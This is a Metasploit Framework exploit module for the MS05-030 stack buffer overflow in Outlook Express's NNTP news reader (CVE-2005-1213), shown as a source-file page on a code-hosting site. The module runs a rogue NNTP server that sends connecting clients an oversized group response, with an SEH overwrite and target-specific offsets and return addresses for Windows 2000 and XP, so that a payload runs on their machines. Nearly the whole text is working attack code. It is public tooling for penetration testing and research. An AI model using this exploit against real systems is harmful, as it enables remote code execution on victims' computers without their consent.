CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/nntp/ms05_030_nntp.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in the news reader of Microsoft
17
Outlook Express.
18
},
19
'Author' => 'MC',
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2005-1213' ],
24
[ 'OSVDB', '17306' ],
25
[ 'BID', '13951' ],
26
[ 'MSB', 'MS05-030' ],
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
'AllowWin32SEH' => true
32
},
33
'Payload' =>
34
{
35
'Space' => 750,
36
'BadChars' => "\x00",
37
'MaxNops' => 0,
38
'StackAdjustment' => -3500,
39
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
40
},
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],
45
['Windows XP English SP0/SP1', { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],
46
],
47
'Privileged' => false,
48
'DisclosureDate' => '2005-06-14',
49
'DefaultTarget' => 0))
50
51
register_options(
52
[
53
OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])
54
])
55
end
56
57
def on_client_connect(client)
58
yup = "200\r\n"
59
60
client.put(yup)
61
client.put(yup)
62
end
63
64
def on_client_data(client)
65
return if ((p = regenerate_payload(client)) == nil)
66
67
filler = "215 list\r\n" + "group "
68
filler << rand_text_english(target['Offset'])
69
seh = generate_seh_payload(target.ret)
70
sploit = filler + seh + " 1 y\r\n\.\r\n"
71
72
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
73
client.put(sploit)
74
75
handler
76
service.close_client(client)
77
end
78
end
79
80